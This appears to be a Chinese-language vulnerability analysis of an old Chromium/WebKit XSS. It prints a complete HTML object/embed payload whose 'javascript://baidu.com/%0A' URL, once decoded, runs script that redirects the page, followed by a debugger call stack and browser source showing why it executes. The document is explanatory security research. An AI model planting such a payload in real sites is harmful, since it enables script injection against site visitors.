原始页面:http://bbs.kafan.cn/thread-1622631-1-1.html
跳转代码:
<font color="White"><object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="260" height="64"><param name="autostart" value="0"><param name="url" value="javascript://baidu.com/%0Awindow.location.href="http://www.baidu.com/s?word=Hacked+By+CatCat520"; "><embed src='javascript://baidu.com/%0Awindow.location.href="http://www.baidu.com/s?word=Hacked+By+CatCat520";' autostart="0" type="video/x-ms-wmv" width="260" height="42"></object></font>
调试目标:Chromium + Webkit
设置断点:FrameLoaderClientImpl::dispatchWillPerformClientRedirect
跳转时被断下,堆栈:
> webkit.dll!WebKit::FrameLoaderClientImpl::dispatchWillPerformClientRedirect(const WebCore::KURL & url="http://www.baidu.com/s?word=Hacked+By+CatCat520", double interval=0.00000000000000000, double fireDate=1378182004.9651439)
webkit.dll!WebCore::FrameLoader::clientRedirected(const WebCore::KURL & url="http://www.baidu.com/s?word=Hacked+By+CatCat520", double seconds=0.00000000000000000, double fireDate=1378182004.9651439, bool lockBackForwardList=false)
webkit.dll!WebCore::ScheduledURLNavigation::didStartTimer(WebCore::Frame * frame=0x18e01558, WebCore::Timer * timer=0x18e01998)
webkit.dll!WebCore::NavigationScheduler::startTimer()
webkit.dll!WebCore::NavigationScheduler::schedule(WTF::PassOwnPtr redirect={...})
webkit.dll!WebCore::NavigationScheduler::scheduleLocationChange(WebCore::SecurityOrigin * securityOrigin=0x1a2613c0, const WTF::String & url={...}, const WTF::String & referrer={...}, bool lockHistory=true, bool lockBackForwardList=false)
webkit.dll!WebCore::DOMWindow::setLocation(const WTF::String & urlString={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58, WebCore::SetLocationLocking locking=LockHistoryBasedOnGestureState)
webkit.dll!WebCore::Location::setLocation(const WTF::String & url={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58)
webkit.dll!WebCore::Location::setHref(const WTF::String & url={...}, WebCore::DOMWindow * activeWindow=0x1afacc58, WebCore::DOMWindow * firstWindow=0x1afacc58)
webkit.dll!WebCore::V8Location::hrefAccessorSetter(v8::Local name={...}, v8::Local value={...}, const v8::AccessorInfo & info={...})
v8.dll!v8::internal::JSObject::SetPropertyWithCallback(v8::internal::Object * structure=0x1ab89d59, v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, v8::internal::JSObject * holder=0x1ba0d669, v8::internal::StrictModeFlag strict_mode=kNonStrictMode)
v8.dll!v8::internal::JSObject::SetPropertyForResult(v8::internal::LookupResult * result=0x006ad6d8, v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
v8.dll!v8::internal::JSReceiver::SetProperty(v8::internal::LookupResult * result=0x006ad6d8, v8::internal::String * key=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
v8.dll!v8::internal::JSReceiver::SetProperty(v8::internal::String * name=0x27a25941, v8::internal::Object * value=0x2c195c55, PropertyAttributes attributes=NONE, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::JSReceiver::StoreFromKeyed store_mode=CERTAINLY_NOT_STORE_FROM_KEYED)
v8.dll!v8::internal::StoreIC::Store(v8::internal::InlineCacheState state=UNINITIALIZED, v8::internal::StrictModeFlag strict_mode=kNonStrictMode, v8::internal::Handle object={...}, v8::internal::Handle name={...}, v8::internal::Handle value={...})
v8.dll!v8::internal::StoreIC_Miss(v8::internal::Arguments args={...}, v8::internal::Isolate * isolate=0x004cd770)
3400a336()
v8.dll!v8::internal::Invoke(bool is_construct=false, v8::internal::Handle function={...}, v8::internal::Handle receiver={...}, int argc=0, v8::internal::Handle * args=0x00000000, bool * has_pending_exception=0x006ada6b)
v8.dll!v8::internal::Execution::Call(v8::internal::Handle callable={...}, v8::internal::Handle receiver={...}, int argc=0, v8::internal::Handle * argv=0x00000000, bool * pending_exception=0x006ada6b, bool convert_receiver=false)
v8.dll!v8::Script::Run()
webkit.dll!WebCore::V8Proxy::runScript(v8::Handle script={...})
webkit.dll!WebCore::V8Proxy::evaluate(const WebCore::ScriptSourceCode & source={...}, WebCore::Node * node=0x00000000)
webkit.dll!WebCore::ScriptController::evaluate(const WebCore::ScriptSourceCode & sourceCode={...})
webkit.dll!WebCore::ScriptController::executeScript(const WebCore::ScriptSourceCode & sourceCode={...})
webkit.dll!WebCore::ScriptController::executeScript(const WTF::String & script={...}, bool forceUserGesture=false)
webkit.dll!WebKit::WebPluginContainerImpl::executeScriptURL(const WebKit::WebURL & url={...}, bool popupsAllowed=false)
glue.dll!webkit::npapi::WebPluginImpl::HandleURLRequestInternal(const char * url=0x1b3f2db8, const char * method=0x6c1f73f8, const char * target=0x00000000, const char * buf=0x00000000, unsigned int len=0, int notify_id=0, bool popups_allowed=false, webkit::npapi::WebPluginImpl::Referrer referrer_flag=DOCUMENT_URL, bool notify_redirects=false, bool is_plugin_src_load=true)
glue.dll!webkit::npapi::WebPluginImpl::OnDownloadPluginSrcUrl()
WebPluginImpl::HandleURLRequestInternal
if (is_javascript_url) {
GURL gurl(url);
WebString result = container_->executeScriptURL(gurl, popups_allowed);
...
...
}
此处开始执行脚本。
WebPluginContainerImpl::executeScriptURL
const KURL& kurl = url;
ASSERT(kurl.protocolIs("javascript"));
String script = decodeURLEscapeSequences(
kurl.string().substring(strlen("javascript:")));
ScriptValue result = frame->script()->executeScript(script, popupsAllowed);
此处判断是 Javascript 协议(javascript://),开始执行。
执行的时候首先进行 URLDecode,所有的转义被还原。
然后切掉开头的 javascript:,最终代码变成:
//baidu.com/ window.location.href="http://www.baidu.com/s?word=Hacked+By+CatCat520"
于是开头的无效地址变为注释,第二行脚本最终在当前帧执行,造成 XSS。
特别感谢知道创宇的余弦指出%0a这个关键细节。